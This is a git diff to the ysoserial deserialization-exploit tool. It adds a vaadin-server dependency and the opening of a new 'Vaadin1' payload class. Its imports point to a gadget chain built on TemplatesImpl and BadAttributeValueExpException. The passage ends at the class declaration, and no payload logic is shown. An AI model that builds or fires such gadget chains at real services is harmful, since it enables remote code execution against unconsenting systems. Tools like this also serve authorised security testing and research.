diff --git a/pom.xml b/pom.xml
index 39ff36e..3900133 100644
--- a/pom.xml
+++ b/pom.xml
@@ -308,6 +308,11 @@
clojure
1.8.0
+
+ com.vaadin
+ vaadin-server
+ 7.7.14
+
diff --git a/src/main/java/ysoserial/payloads/Vaadin1.java b/src/main/java/ysoserial/payloads/Vaadin1.java
new file mode 100644
index 0000000..a72374e
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/Vaadin1.java
@@ -0,0 +1,73 @@
+package ysoserial.payloads;
+
+import javax.management.BadAttributeValueExpException;
+
+import org.apache.xalan.xsltc.trax.TemplatesImpl;
+
+import com.vaadin.data.util.NestedMethodProperty;
+import com.vaadin.data.util.PropertysetItem;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.Reflections;
+
+@Dependencies ( { "com.vaadin:vaadin-server:7.7.14" })
+@Authors({ Authors.KULLRICH })
+public class Vaadin1 implements ObjectPayload